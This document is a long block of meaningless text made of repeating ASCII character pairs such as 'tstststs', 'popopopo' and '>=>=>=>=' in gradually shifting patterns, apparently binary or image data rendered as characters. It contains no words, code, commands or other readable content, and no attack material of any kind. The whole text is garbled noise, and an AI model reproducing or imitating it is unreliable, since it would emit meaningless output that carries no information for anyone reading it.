tstststsoopopopolklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYSTSTSTSTPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#     tstststspopopopolklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYSTSTSTSSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#     tstststspopopopolklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYSSSSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     tstststspopopopolklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     tstststspopopopolklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYXWXWTSTSTSTSPOPOPOPONMLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     tstststsoooopopolklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     tstststspoponmnmlklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     tstststsnmnmnmnmlklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     tstststsnmnmnmnmlklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSSSSSSTPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     tstststsnmnmnmnmlklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     tstststsnmnmnmnmlklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     tstststsnmnmnmnmlklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPOLKLKLKLKJIHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     tsrqrqrqnmnmnmnmlklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     rqrqrqrqnmnmnmnmlklkjijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     rqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSTSTSSSSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#   rqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$# rqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijihghgfefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSSSSSTSTPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:98787876565656521212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=877777786565656521212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=787878786565656521212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBA@?@?@?>=>=>=>=787878784343434321212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=787878784343434321212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijifefefefedcdcbaba`_`_`_`_\[\[\[\[XWXWXWXWSTSSSSSSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=787878784343434321212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=787878784343434321212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=787877774343434321212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! rqrqrqrqnmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=778787874343434321212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!    rqrqrqrqnmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=878787874343434321212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!    rqrqrqrqnmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSSSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!    rqrqrqrqnmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWSSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!    rqrqrqrqnmnmnmnmjijijijifefefefebabababa`_`_^]^]\[\[\[\[XWXWXWXWTSRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!    rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!    rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;77777878434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!    - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!    - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!    - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!    - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[VUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!    - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[ZYZYVUVUVUVURQRQRQRQPONMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!    - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78777777434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!    - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!    - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!    - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!    - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - rqrqrqponmnmnmnmjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - popopooonmnmnmnmjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878777434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - ooopopopnmnmnmnmjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;77787878434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - opopopopnmnmlklkjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - opopopoplklklklkjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - opopopoplklklklkjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - opopopoplklklklkjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - opopopoplklklklkjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - oooooopolklklklkjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;77777787434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - popopopolklklklkjijijijifefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - popopopolklklklkjijihghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - popopopolklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - popopopolklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - popopopolklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87877777434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - popooooolklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - opopopoplklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCBABABA@?@?@?@?<;<;<;<;65656565434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - opopopoplklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;65656565434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - }}~~aabbccddEEFFGGHH^^__``aabbccddeeFFGGHHII**++,,-- eeffgghhIIJJKKLLbbccddeeffgghhiiJJKKLLMM..//0011 - - ~~}}||iijjkkllMMNNOOPPffgghhiijjkkllmmNNOOPPQQ22334455{{zzyyxxmmnnooppQQRRSSTTjjkkllmmnnooppqqRRSSTTUU66778899wwvvuuts~~}}qqrrssttUUVVWWXXnnoouuvvrrssttuuVVWWXXYY::;;<<== !!rqpoonnm||{{zzyyuuvvwwxxYYZZ[[\\wwxxyyzzvvwwxxyyZZ[[\\]]>>??@@AA""##$$%% mllkkjjixxwwvvuuyyzz{{||]]^^__``{{||}}~~zz{{||}}^^__``aaBBCCDDEE&&''(()) - - ihhggffettssrrqq}}~~aabbccdd~~bbccddeeFFGGHHII**++,,--eddccbbappoonnmmeeffgghhffgghhiiJJKKLLMM..//0011a``__^^]llkkjjiiiijjkklljjkkllmmNNOOPPQQ22334455]\\[[ZZYhhggffeemmnnooppnnooppqqRRSSTTUU66778899YXWVUTSSddccbbaa~~}}qqrrssttrrssttuuVVWWXXYY::;;<<== !!~~}}RRQQPPOO``__^^]]||{{zzyyuuvvwwxxvvwwxxyyZZ[[\\]]>>??@@AA""##$$%%||{{zzyy~~}}||{{NNMMLLKK\\[[ZZYYxxwwvvuuyyzz{{||zz{{||}}^^__``aaBBCCDDEE&&''(())xxwwvvuuzzyyxxwwJJIIHHGGXXWWVVUUttssrrqq}}~~~~bbccddeeFFGGHHII**++,,--ttssrrqqvvuuoonnFFEEDDCCTTSSRRQQppoonnmmffgghhiiJJKKLLMM..//0011ppoonnmmmmllkkjjBBAA@@??PPOONNMMllkkjjiijjkkllmmNNOOPPQQ22334455llkkjjiiiihhggff>>==<;:9LLKKJJIIhhggffeennooppqqRRSSTTUU66778899hhggffeeeeddccbb87766554HHGGFFEEddccbbaa~~}}rrssttuuVVWWXXYY::;;<<==ddccbbaaaa``__^^43322110DDCCBBAA``__^^]]||{{zzyyvvwwxxyyZZ[[\\]]>>??@@AA``__^^]]]]\\[[ZZ0//..--,@@??>>==\\[[ZZYYxxwwvvuuzz{{||}}^^__``aaBBCCDDEE++**))((\\[[ZZYYYYSSRRQQ,++**))(<<;;::99XXWWVVUUttssrrqq~~bbccddeeFFGGHHII''&&%%$$XXWWVVUUPPOONNMM(''&&%%$88776655TTSSRRQQppoonnmmffgghhiiJJKKLLMM##""!! TTSSRRQQLLKKJJII$##""!! 44332211PPOONNMMllkkjjiijjkkllmmNNOOPPQQPPOONNMMHHGGFFEE00//..--LLKKJJIIhhggffeennooppqqRRSSTTUULLKKJJIIDDCCBBAA,,++**))HHGGFFEEddccbbaa~~}}rrssttuuVVWWXXYYHHGGFFEE@@??>>==((''&&%%DDCCBBAA``__^^]]||{{zzyyvvwwxxyyZZ[[\\]]DDCCBBAA77665544$$##""!!@@??>>==\\[[ZZYYxxwwvvuuzz{{||}}^^__``aa @@??>>==33221100 - - <<;;::99XXWWVVUUttssrrqq~~}}||~~bbccddee - - <<;;::99//..--,, 88776655TTSSRRQQppoonnmm{{zzyyxxffgghhii88776655++**))((44332211PPOONNMMllkkjjiiwwvvuutsjjkkllmm44332211''&&%%$$ - - 00//..--LLKKJJIIhhggffeerqpoonnmnnooppqq00//..--##""!!  ,,++**))HHGGFFEEddccbbaa~~}}mllkkjji~~}}||rrssttuu ,,++**)) - - ((''&&%%DDCCBBAA``__^^]]||{{zzyyihhggffe{{zzyyxxvvwwxxyy - - ((''&&%%$$##""!!@@??>>==\\[[ZZYYxxwwvvuueddccbbawwvvuuttzz{{||}}$$##""!! <<;;::99XXWWVVUUttssrrqqa``__^^]ssrrqqpp~~   88776655TTSSRRQQppoonnmm]\\[[ZZYoonnmmll - - - -!!""##$$44332211PPOONNMMllkkjjii~~}}||{{YXWVUTSSkkjjiihh %%&&''(( - - 00//..--LLKKJJIIhhggffeezzyyxxwwRRQQPPOOggffeedd !!))**++,,  ,,++**))HHGGFFEEddccbbaavvuuoonnNNMMLLKKccbbaa``~~}}||""##$$%% --..//00 - - ((''&&%%DDCCBBAA``__^^]]mmllkkjjJJIIHHGG__^^]]\\{{zzyyxx&&''(()) - - 11223344$$##""!!@@??>>==\\[[ZZYYiihhggffFFEEDDCC[[ZZYYXXwwvvuutt**++,,-- - - !!""##55667788 <<;;::99XXWWVVUUeeddccbbBBAA@@??WWVVUUTTssrrqqpp..//0011 $$%%&&''99::;;<< 88776655TTSSRRQQaa``__^^>>==<;:9SSRRQQPPoonnmmll22334455(())**++==>>??@@!!""##$$44332211PPOONNMM]]\\[[ZZ87766554OONNMMLLkkjjiihh66778899,,--..//AABBCCDD%%&&''(( - - 00//..--LLKKJJIIYYSSRRQQ43322110KKJJIIHHggffeedd::;;<<==00112233EEFFGGHH))**++,,  ,,++**))HHGGFFEEPPOONNMM0//..--,GGFFEEDDccbbaa``~~}}||>>??@@AA 44556677IIJJKKLL--..//00 - - ((''&&%%DDCCBBAALLKKJJII,++**))(CCBBAA@@__^^]]\\{{zzyyxxBBCCDDEE!!""##$$==>>??@@MMNNOOPP11223344$$##""!!@@??>>==HHGGFFEE(''&&%%$??>>==<<[[ZZYYXXwwvvuuttFFGGHHII%%&&''((AABBCCDDQQRRSSTT55667788 <<;;::99DDCCBBAA$##""!! ;;::9988WWVVUUTTssrrqqppJJKKLLMM))**++,,EEFFGGHHUUVVWWXX99::;;<< 88776655@@??>>==77665544SSRRQQPPoonnmmllNNOOPPQQ--..//00IIJJKKLLYYZZ[[\\==>>??@@!!""##$$443322117766554433221100OONNMMLLkkjjiihhRRSSTTUU11223344MMNNOOPP]]^^__``AABBCCDD%%&&''(( - - 00//..--33221100//..--,,KKJJIIHHggffeeddVVWWXXYY55667788QQRRSSYYaabbccddEEFFGGHH))**++,,  ,,++**))//..--,,++**))((GGFFEEDDccbbaa``~~}}||ZZ[[\\]]99::;;<>??@@^^__``aaiijjkkllMMNNOOPP11223344$$##""!!''&&%%$$ ##""!! ??>>==<<[[ZZYYXXwwvvuuttbbccddeeAABBCCDDbbccddeemmnnooppQQRRSSTT55667788 ##""!!;;::9988WWVVUUTTssrrqqppffgghhiiEEFFGGHHffgghhiiqqrrssttUUVVWWXX99::;;<< 77665544SSRRQQPPoonnmmlljjkkllmmIIJJKKLLjjkkllmmuuvvwwxxYYZZ[[\\==>>??@@!!""##$$ 33221100OONNMMLLkkjjiihhnnooppqqMMNNOOPPnnoouuvvyyzz{{||]]^^__``AABBCCDD%%&&''(( - -  - - //..--,,KKJJIIHHggffeeddrrssttuuQQRRSSTTwwxxyyzz}}~~aabbccddEEFFGGHH))**++,,    ++**))((GGFFEEDDccbbaa``~~}}||vvwwxxyyUUVVWWXX{{||}}~~eeffgghhIIJJKKLL--..//00 - - - -  - - ''&&%%$$CCBBAA@@__^^]]\\{{zzyyxxzz{{||}}YYZZ[[\\iijjkkllMMNNOOPP11223344##""!! ??>>==<<[[ZZYYXXwwvvuutt~~]]^^__``mmnnooppQQRRSSTT55667788 - -;;::9988WWVVUUTTssrrqqppaabbccddqqrrssttUUVVWWXX99::;;<<   !!77665544SSRRQQPPoonnmmlleeffgghhuuvvwwxxYYZZ[[\\==>>??@@!!""##$$""##$$%% 33221100OONNMMLLkkjjiihhiijjkkllyyzz{{||]]^^__``AABBCCDD%%&&''(( - - &&''(()) - - //..--,,KKJJIIHHggffeeddmmnnoopp}}~~aabbccddEEFFGGHH))**++,, **++,,-- ++**))((GGFFEEDDccbbaa``qqrrsstteeffgghhIIJJKKLL--..//00!!""##..//0011 - - ''&&%%$$CCBBAA@@__^^]]\\uuvvwwxxiijjkkllMMNNOOPP11223344$$%%&&''22334455##""!! ??>>==<<[[ZZYYXXyyzz{{||mmnnooppQQRRSSTT55667788(())**++66778899;;::9988WWVVUUTT}}~~qqrrssttUUVVWWXX99::;;<< ,,--..//::;;<<== !!77665544SSRRQQPPuuvvwwxxYYZZ[[\\==>>??@@!!""##$$00112233>>??@@AA""##$$%% 33221100OONNMMLLyyzz{{||]]^^__``AABBCCDD%%&&''((44556677BBCCDDEE&&''(()) - - //..--,,KKJJIIHH}}~~aabbccddEEFFGGHH))**++,,==>>??@@FFGGHHII**++,,-- ++**))((GGFFEEDDeeffgghhIIJJKKLL--..//00AABBCCDDJJKKLLMM..//0011 - - ''&&%%$$CCBBAA@@iijjkkllMMNNOOPP11223344EEFFGGHHNNOOPPQQ22334455##""!! ??>>==<>??@@QQRRSSYYZZ[[\\]]>>??@@AA""##$$%% 33221100yyzz{{||]]^^__``AABBCCDDZZ[[\\]]^^__``aaBBCCDDEE&&''(()) - - //..--,,hggffeedzzyyxxwwwwxxyyzz[[\\]]^^yyzz{{||xxyyzz{{\\]]^^__@@AABBCC$$%%&&'' - -  - - 00//..--LLKKJJIIhhggffeerqpoonnmnnooppqqdccbbaa`vvuuttss{{||}}~~__``aabb}}~~||}}~~``aabbccDDEEFFGG(())**++   ,,++**))HHGGFFEEddccbbaa~~}}mllkkjji~~}}||rrssttuu`__^^]]\rrqqppooccddeeffddeeffggHHIIJJKK,,--..// - - - -  - - ((''&&%%DDCCBBAA``__^^]]||{{zzyyihhggffe{{zzyyxxvvwwxxyy~~\[[ZZYYXnnmmllkkgghhiijjhhiijjkkLLMMNNOO00112233 $$##""!!@@??>>==\\[[ZZYYxxwwvvuueddccbbawwvvuuttzz{{||}}}}||{{zzWVUTSSRRjjiihhggkkllmmnnllmmnnooPPQQRRSS44556677  <<;;::99XXWWVVUUttssrrqqa``__^^]ssrrqqpp~~yyxxwwvvQQPPOONNffeeddccooppqqrrppqqrrssTTUUVVWW8899::;; - -  88776655TTSSRRQQppoonnmm]\\[[ZZYoonnmmlluuoonnmmMMLLKKJJbbaa``__~~}}||{{ssttuuvvttuuvvwwXXYYZZ[[<<==>>?? !!""##!!""##$$44332211PPOONNMMllkkjjii~~}}||{{YXWVUTSSkkjjiihhllkkjjiiIIHHGGFF^^]]\\[[zzyyxxwwwwxxyyzzxxyyzz{{\\]]^^__@@AABBCC$$%%&&'' - - %%&&''(( - - 00//..--LLKKJJIIhhggffeezzyyxxwwRRQQPPOOggffeeddhhggffeeEEDDCCBBZZYYXXWWvvuuttss{{||}}~~||}}~~``aabbccDDEEFFGG(())**++ ))**++,,  ,,++**))HHGGFFEEddccbbaavvuuoonnNNMMLLKKccbbaa``~~}}||ddccbbaaAA@@??>>VVUUTTSSrrqqppooddeeffggHHIIJJKK,,--..//!!""--..//00 - - 